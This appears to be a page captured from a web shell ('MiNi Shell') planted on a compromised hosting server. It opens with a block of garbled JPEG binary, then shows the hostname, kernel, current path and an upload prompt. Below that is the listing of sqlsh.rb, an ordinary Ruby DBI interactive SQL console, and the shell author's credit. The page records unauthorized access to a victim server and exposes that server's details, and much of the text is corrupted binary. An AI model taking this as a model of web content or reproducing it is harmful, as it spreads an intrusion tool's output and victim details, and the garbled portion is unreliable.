JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/ruby-1.8.5/bin/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/ruby-1.8.5/bin/sqlsh.rb

#!/usr/local/lib/ruby-1.8.5/bin/ruby
#!/usr/local/lib/ruby-1.8.5/bin/ruby
#!/usr/local/lib/ruby-1.8.5/bin/ruby
#!/usr/local/bin/ruby
#!/usr/bin/env ruby
#
# Copyright (c) 2001, 2002 Michael Neumann <neumann@s-direktnet.de>
# 
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without 
# modification, are permitted provided that the following conditions 
# are met:
# 1. Redistributions of source code must retain the above copyright 
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright 
#    notice, this list of conditions and the following disclaimer in the 
#    documentation and/or other materials provided with the distribution.
# 3. The name of the author may not be used to endorse or promote products
#    derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
# AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL
# THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# $Id: sqlsh.rb,v 1.2 2006/01/24 04:20:01 francis Exp $
#

require "dbi"
begin
  require "readline"
  $use_readline = true
rescue LoadError
  $use_readline = false
end

require "irb"
require "irb/completion"

$irb_completion = Readline.completion_proc

require "getoptlong"

class ReadlineControl
  
  attr_accessor :keywords

  def initialize
    @keywords = []
    set_prompt
    initCompletion
  end

  def initCompletion
    if $use_readline
      Readline.completion_proc = proc {|str| complete(str) }
    end
  end

  def complete(str)
    @keywords.grep(/^#{Regexp.escape(str)}/i)
  end

  def set_prompt(prompt="> ")
    @prompt = prompt
  end

  def readline
    if $use_readline 
      Readline.readline(@prompt, true)
    else
      print @prompt
      $stdin.readline
    end
  end

end

class Command
  include DBI::SQL::BasicBind

  def readCommand
    line = ""

    $rd.set_prompt(PROMPT)
    begin
      if $input.nil? 
        # no source file to read from
        l = $rd.readline
      else                   
        # source file has still data
        l = $input.gets
        if l.nil?
          $input = nil
          next
        end
      end

      next if l.strip.empty?
      l = l.chomp + "\n"
      line << l 

      puts $file + INPUT + l unless $input.nil?
      $rd.set_prompt(PROMPT_CONT)
    end until complete?(line)

    return line.strip
  end

  private

  def complete?(line)
    line =~ /^\s*\\/ or (tokens(line).last || "") =~ /;\s*$/
  end
end

class Actions
  ACTIONS = [
    [ /^\\q(uit)?\s*$/i,     :quit ],
    [ /^\\h(elp)?\s*$/i,     :help ],
    [ /^\\t(ables)?/i,       :tables ],
    [ /^\\dt/i,              :describeTable ],
    [ /^\\s(elect)?/i,       :select ],

    [ /^\\rb/i,              :ruby ],
    [ /^\\irb/i,             :irb ],

    [ /^\\c(ommit)?\s*$/i,   :commit ],
    [ /^\\r(ollback)?\s*$/i, :rollback ],
    [ /^\\a(utocommit)?(\s+(on|off)?)?\s*$/i, :autocommit ],
    [ /^\\i(nput)?/i,        :input ],
    [ /^\\o(utput)?/i,       :output ],
    [ /^\\pl/i,              :pageLength ],

    [ //,                    :unknownCommand ]
  ] 

  def dispatchCommand(line)
    ACTIONS.each do |regexp, action|
      if line =~ regexp then
        send(action, $~)
        return
      end
    end
  end

  def quit(match)
    puts
    puts "BYE"
    puts

    begin
      Conn.disconnect
    rescue DBI::Error => err
      puts
      puts err.message
      p err.backtrace if $DEBUG
      puts
    end

    exit
  end

  def help(match)
    head = %w(Function Description)
    rows = [
      ["\\h[elp]",     "Display this help screen"],
      ["", ""],

      ["\\t[ables]",   "Display all available tables"],
      ["\\dt table",   "Describe columns of 'table'"],
      ["\\s[elect] table", "short for SELECT * FROM 'table'"],

      ["", ""],
      ["\\c[ommit]",   "Commits the current transaction"],
      ["\\r[ollback]", "Rolls back the current transaction"],
      ["\\a[utocommit]", "Show current autocommit mode"],
      ["\\a[utocommit] on|off", "Switch autocommit mode on/off"],
      ["", ""],

      ["\\i[nput] filename", "Read and execute lines from 'filename'"],
      ["\\o[utput]", "Disable output"],
      ["\\o[utput] filename", "Store SQL statments the user inputs into 'filename'"],
      ["", ""],

      ["\\pl n",   "Set page length to 'n'"],
      ["", ""],
      ["\\rb ...", "Execute the rest of the line as Ruby sourcecode"],
      ["\\irb",    "Execute irb within this context"],

      ["", ""],

      ["\\q[uit]",     "Quit this program"]
    ]

    puts
    puts "Help: "
    output_table(head, rows)
    puts
  end

  def tables(match)
    head = ["Table name"]
    rows = Conn.tables.collect {|name| [name]}

    puts
    puts "Tables: "
    output_table(head, rows)
    puts
  end

  def describeTable(match)
    table = match.post_match.strip

    head = %w(name type_name precision scale default nullable indexed primary unique)

    rows = Conn.columns(table).collect {|col| head.collect{|a| col[a]} }

    puts
    puts "Table '#{table}': "
    output_table(head, rows)
    puts
  end

  def select(match)
    executeSQL("SELECT * FROM #{match.post_match};")
  end

  def commit(match)
    Conn.commit
    puts
    puts "COMMIT"
    puts
  end

  def rollback(match)
    Conn.rollback
    puts
    puts "ROLLBACK"
    puts
  end

  def autocommit(match)
    mode = match[3]
    if mode =~ /on/i
      Conn['AutoCommit'] = true
      puts
      puts "AUTOCOMMIT IS NOW ON"
      puts
    elsif mode =~ /off/i
      Conn['AutoCommit'] = false
      puts
      puts "AUTOCOMMIT IS NOW OFF"
      puts
    else
      puts
      if Conn['AutoCommit'] == true
        puts "AUTOCOMMIT is currently switched ON"
      elsif Conn['AutoCommit'] == false
        puts "AUTOCOMMIT is currently switched OFF"
      else
        puts "AUTOCOMMIT is in unknown state"
      end
      puts 
    end 
  end

  def input(match)
    puts
    $file = match.post_match.strip

    begin
      $input = File.open($file)
      puts "EXECUTE file #{$file}" 
      puts
    rescue
      puts "Couldn't read from file #{$file}"
      puts
    end
  end

  def output(match)
    puts
    file = match.post_match.strip

    if file.empty?
      $output.close if $output
      $output = nil
      puts "Disabled OUTPUT"
      puts
    else
      begin
        $output = File.new(file, "w+")
        puts "Set OUTPUT to file #{file}" 
        puts
      rescue
        puts "Couldn't set OUTPUT to file #{file}"
        puts
      end
    end
  end

  def pageLength(match)
    puts
    $page_len = match.post_match.strip.to_i
    $page_len = DEFAULT_PAGE_LENGTH if $page_len <= 0

    puts "New page length is #{$page_len}."
    puts
  end

  def irb(match)
    Readline.completion_proc = $irb_completion
    puts
    puts "================================== IRB ==============================="
    begin 
      IRB.start 
    rescue SystemExit 
    end
    puts "======================================================================"
    $rd.initCompletion
  end

  def ruby(match)
    puts
    eval match.post_match
    puts
  end

  def unknownCommand(match)
    puts
    puts "Unknown command!"
    puts
  end

end

def output_table(header, rows)
  DBI::Utils::TableFormatter.ascii(header, rows, nil, nil, nil, nil, $page_len) do   
    break if $stdin.readline.chomp == "a"
  end
end

def executeSQL(sql)
  sql = $` if sql =~ /;\s*$/

  start = ::Time.now
  stmt = Conn.execute(sql)

  head = stmt.column_names

  # DDL, DCL
  if head.empty? 
    puts
    nr = stmt.rows
    if nr == 0
      puts "  No rows affected"
    elsif nr == 1
      puts "  1 row affected"
    else 
      puts "  #{nr} rows affected"
    end
    puts
  else
    rows = stmt.fetch_all
    tm = ::Time.now - start

    puts
    output_table(head, rows || [])
    print "  "
    if rows.nil?
      print "No rows in set"
    elsif rows.size == 1
      print "1 row in set"
    else
      print "#{rows.size} rows in set"
    end

    puts " (#{(tm.to_f*1000).to_i / 1000.0} sec)"
          puts
        end

        $rd.keywords = SQL_KEYWORDS + Conn.tables
      end

DEFAULT_PAGE_LENGTH = 37 

$output     = nil
$input      = nil
$page_len   = DEFAULT_PAGE_LENGTH 
PROMPT      = "dbi => "
PROMPT_CONT = "dbi -> "
INPUT       = " >> "

SQL_KEYWORDS = %w(
  INSERT DELETE UPDATE SELECT FROM WHERE IN LIKE SET VALUES INTO
  CREATE TABLE DROP 
  COMMIT ROLLBACK
  CHAR VARCHAR VARCHAR2 INT INTEGER NUMBER FLOAT REAL LONG CLOB BLOB DECIMAL 
  DBCLOB DBBLOB
)

# ---------------------------------------------------------------------------

opts = GetoptLong.new(
  ["--file", "-f", GetoptLong::REQUIRED_ARGUMENT ]
)
opts.each do |opt, arg|
  case opt
  when "--file"
    $input_file_name = arg
  end
end

if ARGV.size < 1 or ARGV.size > 3
  puts
  puts "USAGE: #{$0} [--file file] driver_url [user [password] ]"
  puts

  puts "Available driver and datasources:"
  puts
  for driver in DBI.available_drivers do
    puts driver 
    begin
      ds = DBI.data_sources(driver)
      for datasource in ds
        puts "  " + datasource
      end
    rescue => err
    end
    puts
  end
  puts 

  exit 1
else
  DRIVER_URL = ARGV.shift
  USER       = ARGV.shift
  PASS       = ARGV.shift
end

puts
begin
  Conn = DBI.connect(DRIVER_URL, USER, PASS)
  print "CONNECT TO #{DRIVER_URL} "
  print "USER #{USER} " unless USER.nil?
  print "PASS #{PASS} " unless PASS.nil?
  print "\n"

rescue DBI::Error, DBI::Warning => err
    p err
    exit
end

puts

$rd = ReadlineControl.new
$rd.keywords = SQL_KEYWORDS + Conn.tables

cmd = Command.new
act = Actions.new

# --file option
if $input_file_name
  def $input_file_name.post_match
    $input_file_name
  end
  act.input($input_file_name) 
end

# Main-Loop -----------------------------------

loop do 
  line = cmd.readCommand

  $output.puts line unless $output.nil?

  begin
    if line =~ /^\\/ then
      # Internal Command
      act.dispatchCommand(line)
    else
      # SQL Command
      executeSQL(line)
    end
  rescue DBI::Error => err
    puts
    puts err.message
    p err.backtrace if $DEBUG
    puts
  end
end


Creat By MiNi SheLL
Email: devilkiller@gmail.com